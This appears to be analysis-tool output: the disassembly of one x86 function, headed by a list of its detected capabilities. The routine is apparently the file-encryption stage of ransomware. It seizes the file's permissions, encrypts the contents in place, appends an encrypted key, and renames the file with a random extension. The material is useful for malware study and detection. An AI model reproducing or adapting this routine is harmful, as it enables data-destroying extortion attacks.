Function at 0x402b70
Capabilities:
Encrypt or decrypt via wincrypt
Get file attributes
Get file size
Move file
Read file on windows
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc3c
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x4c]
push esi
push edi
push eax
push 0
lea eax, [ebp - 0x40]
push eax
push 0
push 0
push 4
push 1
push ebx
call dword [sym.imp.ADVAPI32.dll_GetNamedSecurityInfoW]
lea eax, [ebp - 0x44]
push eax
push dword [ebp - 0x40]
push 0x40d8ec
push 1
call dword [sym.imp.ADVAPI32.dll_SetEntriesInAclW]
push 0
push dword [ebp - 0x44]
push 0
push dword [0x40d90c]
push 0x80000005
push 1
push ebx
call dword [sym.imp.ADVAPI32.dll_SetNamedSecurityInfoW]
push dword [ebp - 0x4c]
call dword [sym.imp.KERNEL32.dll_LocalFree]
push dword [ebp - 0x40]
call dword [sym.imp.KERNEL32.dll_LocalFree]
push dword [ebp - 0x44]
call dword [sym.imp.KERNEL32.dll_LocalFree]
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
test al, 1
je 0x402bf8
and eax, 0xfffffffe
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 1
push 0
push 0x400
call fcn.004052a0
add esp, 0xc
mov esi, edx
mov edi, eax
push esi
push edi
push esi
push edi
call fcn.0040ac70
push 2
push 0
push 0x400
mov ebx, eax
mov dword [ebp - 0x18], edx
call fcn.004052a0
add esp, 0xc
push esi
push edi
push edx
push eax
call fcn.0040ac70
push 0
push 0
push 3
push 0
push 0
push 0xc0000000
push dword [ebp + 8]
mov dword [ebp - 8], eax
mov dword [ebp - 4], edx
mov dword [ebp - 0x48], 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
mov dword [ebp - 0x20], edi
cmp edi, 0xffffffff
je 0x403160
lea eax, [ebp - 0x14]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
cmp dword [ebp - 0x10], 0
jg 0x402c99
jl 0x402c84
cmp dword [ebp - 0x14], 0x80
jae 0x402c99
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret 8
mov esi, dword [ebp - 0x18]
mov eax, ebx
mov ecx, esi
mov edi, ebx
shld ecx, eax, 2
mov edx, esi
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x18], edi
mov edi, dword [ebp - 0x14]
adc edx, ecx
cmp eax, edx
jg 0x402cef
jl 0x402cc3
cmp edi, dword [ebp - 0x18]
ja 0x402cef
push 0
push 0x80
push eax
push edi
call fcn.0040abc0
mov ebx, eax
mov dword [ebp - 4], 1
mov esi, edx
mov dword [ebp - 8], 0
shld esi, ebx, 7
shl ebx, 7
jmp 0x402e72
push 0
push 0x32
push esi
push ebx
call fcn.0040ac70
mov ecx, eax
mov eax, dword [ebp - 0x10]
cmp eax, edx
jg 0x402d23
jl 0x402d09
cmp edi, ecx
jae 0x402d23
push 0
shld eax, edi, 2
push 0xa
shl edi, 2
push eax
push edi
call fcn.0040abc0
mov dword [ebp - 8], edx
jmp 0x402e6f
push 0
push 0x12c
push esi
push ebx
call fcn.0040ac70
mov ecx, edx
mov edx, dword [ebp - 0x10]
cmp edx, ecx
jg 0x402d7d
jl 0x402d40
cmp edi, eax
jae 0x402d73
push 0
push 2
mov eax, ebx
mov ecx, esi
shld ecx, eax, 2
push edx
shl eax, 2
add ebx, eax
push edi
adc esi, ecx
shld esi, ebx, 1
add ebx, ebx
call fcn.0040abc0
push 0
push 2
push edx
push eax
call fcn.0040abc0
mov dword [ebp - 8], edx
jmp 0x402e6f
cmp edx, ecx
jl 0x402d96
jg 0x402d7d
cmp edi, eax
jb 0x402d96
mov ecx, dword [ebp - 4]
cmp edx, ecx
jg 0x402dfa
jl 0x402d90
mov edx, dword [ebp - 8]
cmp edi, edx
jae 0x402da9
mov edx, dword [ebp - 0x10]
push 0
push 4
jmp 0x402d44
mov eax, dword [ebp - 4]
cmp edx, eax
mov edx, dword [ebp - 8]
jl 0x402dff
jg 0x402da6
cmp edi, edx
jb 0x402dff
mov ecx, dword [ebp - 4]
mov eax, edx
shld ecx, eax, 2
shl eax, 2
add edx, eax
mov eax, dword [ebp - 4]
adc eax, ecx
shld eax, edx, 1
add edx, edx
cmp dword [ebp - 0x10], eax
jg 0x402e26
jl 0x402dca
cmp edi, edx
jae 0x402e1b
mov eax, ebx
mov ecx, esi
shld ecx, eax, 2
push 0
shl eax, 2
add ebx, eax
push 0x14
push dword [ebp - 0x10]
adc esi, ecx
shld esi, ebx, 2
push edi
shl ebx, 2
call fcn.0040abc0
mov ecx, edx
shld ecx, eax, 1
mov dword [ebp - 8], ecx
add eax, eax
jmp 0x402e6f
mov edx, dword [ebp - 8]
jmp 0x402da9
mov dword [ebp - 4], eax
mov eax, edx
mov ecx, dword [ebp - 4]
shld ecx, eax, 2
shl eax, 2
add edx, eax
mov eax, dword [ebp - 4]
adc eax, ecx
shld eax, edx, 1
add edx, edx
cmp dword [ebp - 0x10], eax
jl 0x402e60
jg 0x402e26
cmp edi, edx
jb 0x402e60
mov eax, ebx
mov ecx, esi
shld ecx, eax, 2
push 0
shl eax, 2
add ebx, eax
push 0x64
push dword [ebp - 0x10]
adc esi, ecx
shld esi, ebx, 3
push edi
shl ebx, 3
call fcn.0040abc0
mov edi, eax
mov ecx, edx
shld ecx, eax, 2
shl eax, 2
add edi, eax
mov dword [ebp - 4], edi
adc edx, ecx
mov dword [ebp - 8], edx
jmp 0x402e72
mov eax, dword [ebp - 0x38]
mov esi, dword [ebp - 0x38]
mov ebx, dword [ebp - 0x3c]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 4], eax
lea eax, [ebp - 0xb8]
push 0x20
push eax
call fcn.004063c0
lea eax, [ebp - 0x98]
push 0x18
push eax
call fcn.004063c0
push 0xc
push str.PQRS
call fcn.004063c0
push 0x10
push 0x40d018
call fcn.004063c0
xor eax, eax
lea edi, [ebp - 0x194]
mov ecx, 0x33
add esp, 0x20
rep stosd dword es:[edi], eax
lea edx, [eax + 8]
xor ecx, ecx
nop dword [eax]
mov eax, dword [ebp + ecx - 0xb8]
lea ecx, [ecx + 4]
mov dword [ebp + ecx - 0x3a4], eax
sub edx, 1
jne 0x402ec0
mov edx, 6
xor ecx, ecx
nop dword [eax]
mov eax, dword [ebp + ecx - 0x98]
lea ecx, [ecx + 4]
mov dword [ebp + ecx - 0x384], eax
sub edx, 1
jne 0x402ee0
push 0x20c
lea eax, [ebp - 0x50]
mov dword [ebp - 0x50], 0x38
push eax
lea eax, [ebp - 0x3a0]
push eax
mov eax, dword [0x40d8e8]
push edx
push 1
push edx
push dword [eax + 4]
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
push 4
push 0x3000
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xc], eax
test eax, eax
je 0x403135
lea eax, [ebp - 0x98]
xorps xmm0, xmm0
push eax
lea eax, [ebp - 0xb8]
movlpd qword [ebp - 0x1c], xmm0
push eax
lea eax, [ebp - 0x194]
push eax
call fcn.00401f80
push 0xc
lea eax, [ebp - 0x194]
push str.PQRS
push eax
call fcn.00401ed0
add esp, 0x18
lea eax, [ebp - 0xb8]
mov ecx, 0x20
nop dword [eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x402f80
mov ecx, 0x18
lea eax, [ebp - 0x98]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x402f96
mov edi, dword [ebp - 0x20]
push ecx
push ecx
push dword [ebp - 0x18]
push dword [ebp - 0x1c]
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov eax, dword [ebp - 8]
xorps xmm0, xmm0
movlpd qword [ebp - 0x1c], xmm0
test eax, eax
jl 0x4030a3
jg 0x402fd2
cmp dword [ebp - 4], 0
jbe 0x4030a3
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x18], eax
nop
or eax, ecx
jne 0x402ff4
xorps xmm0, xmm0
movlpd qword [ebp - 0x34], xmm0
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x34]
jmp 0x402ff8
mov ecx, ebx
mov eax, esi
push 1
lea edx, [ebp - 0x64]
mov dword [ebp - 0x5c], ecx
push edx
push eax
push ecx
push edi
mov dword [ebp - 0x58], eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x78]
push eax
push ebx
push dword [ebp - 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40307c
push 0
lea eax, [ebp - 0x5c]
push eax
push dword [ebp - 0x60]
push dword [ebp - 0x64]
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov eax, dword [ebp - 0xc]
push ebx
push eax
push eax
lea eax, [ebp - 0x194]
push eax
call fcn.00401000
add esp, 0x10
push 0
push ebx
push 0
push dword [ebp - 0x30]
push edi
call dword [sym.imp.KERNEL32.dll_LockFile]
push 0
lea eax, [ebp - 0x7c]
push eax
push ebx
push dword [ebp - 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
push ebx
push 0
push dword [ebp - 0x30]
push edi
call dword [sym.imp.KERNEL32.dll_UnlockFile]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x20]
add eax, ebx
mov dword [ebp - 0x18], eax
adc ecx, esi
mov dword [ebp - 0x20], ecx
cmp ecx, dword [ebp - 8]
jl 0x402fe0
jg 0x4030a0
cmp eax, dword [ebp - 4]
jb 0x402fe0
mov eax, dword [ebp - 8]
lea ecx, [ebp - 0xc8]
push ecx
push eax
push dword [ebp - 4]
lea eax, [ebp - 0x194]
push 0
push 0xc
push eax
call fcn.00401f10
add esp, 0x18
push 0x8000
push 0
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0
push 0
push dword [ebp - 0x10]
push dword [ebp - 0x14]
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
push 0x120
push 0
mov esi, eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_LockFile]
push 0
lea eax, [ebp - 0x48]
push eax
push 0x100
lea eax, [ebp - 0x3a0]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [ebp - 0x48]
push eax
push 0x20
push 0x40d868
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
push 0x120
push 0
push esi
push edi
call dword [sym.imp.KERNEL32.dll_UnlockFile]
jmp 0x403138
mov edi, dword [ebp - 0x20]
push 0x8000
push 0
lea eax, [ebp - 0x194]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x8000
push 0
lea eax, [ebp - 0x3a0]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [ebp + 8]
push 0
push 0
push 3
push 0
push 0
push 0xc0000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
mov dword [ebp - 0xc], edi
cmp edi, 0xffffffff
je 0x4033ee
lea eax, [ebp - 0x3c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
push 0
push 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x24], xmm0
push dword [ebp - 0x20]
push dword [ebp - 0x24]
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
xor ebx, ebx
mov dword [ebp - 4], ebx
test ebx, ebx
jne 0x4031cb
xorps xmm0, xmm0
movlpd qword [ebp - 0x24], xmm0
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x24]
jmp 0x4031d2
mov ecx, 0x80
xor eax, eax
push 1
lea edx, [ebp - 0x74]
mov dword [ebp - 0x6c], ecx
push edx
push eax
push ecx
push edi
mov dword [ebp - 0x68], eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x80]
push eax
push 0x80
lea eax, [ebp - 0x5ac]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x403384
push 0
lea eax, [ebp - 0x6c]
push eax
push dword [ebp - 0x70]
push dword [ebp - 0x74]
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov eax, dword [0x40d8e8]
lea ecx, [ebp - 0x28]
push 0x80
push ecx
push 0
push 0
push 1
push 0
push dword [eax + 4]
mov dword [ebp - 0x2c], 0x80
mov dword [ebp - 0x28], 0x80
mov dword [ebp - 0x18], eax
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
jne 0x403259
xor ebx, ebx
jmp 0x403301
push dword [ebp - 0x28]
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edx, dword [ebp - 0x28]
mov ebx, eax
mov ecx, ebx
test edx, edx
je 0x403281
mov byte [ecx], 0
lea ecx, [ecx + 1]
sub edx, 1
jne 0x403276
mov esi, dword [ebp - 0x2c]
lea ecx, [ebp - 0x5ac]
mov edi, esi
mov edx, ebx
shr edi, 2
test edi, edi
je 0x4032a4
mov eax, dword [ecx]
add ecx, 4
mov dword [edx], eax
add edx, 4
sub edi, 1
jne 0x403295
and esi, 3
je 0x4032be
sub edx, ecx
nop dword [eax + eax]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
sub esi, 1
jne 0x4032b0
push dword [ebp - 0x28]
lea eax, [ebp - 0x2c]
push eax
mov eax, dword [ebp - 0x18]
push ebx
push 0
push 1
push 0
push dword [eax + 4]
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
jne 0x4032e0
xor ebx, ebx
jmp 0x4032fe
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x5ac]
test ecx, ecx
je 0x4032fe
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x4032f3
mov edi, dword [ebp - 0xc]
mov esi, dword [ebp - 0x30]
push 0
shr esi, 1
push esi
push 0
push dword [ebp - 0x20]
push edi
call dword [sym.imp.KERNEL32.dll_LockFile]
push 0
lea eax, [ebp - 0x54]
push eax
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
push esi
push 0
push dword [ebp - 0x20]
push edi
call dword [sym.imp.KERNEL32.dll_UnlockFile]
mov edi, esi
lea edx, [ebp - 0x82c]
add edx, dword [ebp - 4]
lea eax, [ebx + esi]
shr edi, 2
test edi, edi
je 0x403357
mov ecx, dword [eax]
add eax, 4
mov dword [edx], ecx
add edx, 4
sub edi, 1
jne 0x403348
and esi, 3
je 0x40336e
sub edx, eax
nop
mov cl, byte [eax]
lea eax, [eax + 1]
mov byte [edx + eax - 1], cl
sub esi, 1
jne 0x403360
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edi, dword [ebp - 0xc]
mov ebx, dword [ebp - 4]
mov ecx, 0x20c
lea eax, [ebp - 0x5ac]
nop
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x403390
sub ebx, 0xffffff80
mov dword [ebp - 4], ebx
cmp ebx, 0x280
jb 0x4031b7
push ecx
push ecx
push dword [ebp - 0x38]
push dword [ebp - 0x3c]
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea eax, [ebp - 0x54]
push eax
push 0x280
lea eax, [ebp - 0x82c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, 0x280
lea eax, [ebp - 0x82c]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x4033e0
mov ebx, dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp + 0xc], 0
jne 0x40356b
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0xa
push 8
mov dword [0x40d028], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
imul ecx, dword [0x40d028], 0x41c64e6d
mov edi, 0x16
push ebx
add ecx, 0x3039
mov eax, ecx
imul ecx, ecx, 0x41c64e6d
shr eax, 0x10
and eax, 0x7fff
cdq
idiv edi
add ecx, 0x3039
movzx eax, word [edx*2 + str.0123456789ABCDEFabcdef]
mov word [esi], ax
mov eax, ecx
shr eax, 0x10
and eax, 0x7fff
imul ecx, ecx, 0x41c64e6d
cdq
idiv edi
add ecx, 0x3039
movzx eax, word [edx*2 + str.0123456789ABCDEFabcdef]
mov word [esi + 2], ax
mov eax, ecx
shr eax, 0x10
and eax, 0x7fff
imul ecx, ecx, 0x41c64e6d
cdq
idiv edi
add ecx, 0x3039
movzx eax, word [edx*2 + str.0123456789ABCDEFabcdef]
mov word [esi + 4], ax
mov eax, ecx
shr eax, 0x10
and eax, 0x7fff
imul ecx, ecx, 0x41c64e6d
cdq
idiv edi
add ecx, 0x3039
movzx eax, word [edx*2 + str.0123456789ABCDEFabcdef]
mov word [esi + 6], ax
mov eax, ecx
shr eax, 0x10
and eax, 0x7fff
cdq
idiv edi
movzx eax, word [edx*2 + str.0123456789ABCDEFabcdef]
mov word [esi + 8], ax
imul eax, ecx, 0x41c64e6d
add eax, 0x3039
mov dword [0x40d028], eax
shr eax, 0x10
and eax, 0x7fff
cdq
idiv edi
movzx eax, word [edx*2 + str.0123456789ABCDEFabcdef]
mov word [esi + 0xa], ax
xor eax, eax
mov word [esi + 0xc], ax
lea eax, [ebp - 0xc3c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x40b3d0
lea eax, [ebp - 0xc3c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push esi
lea eax, [ebp - 0xc3c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x40b3d4
lea eax, [ebp - 0xc3c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 3
lea eax, [ebp - 0xc3c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret 8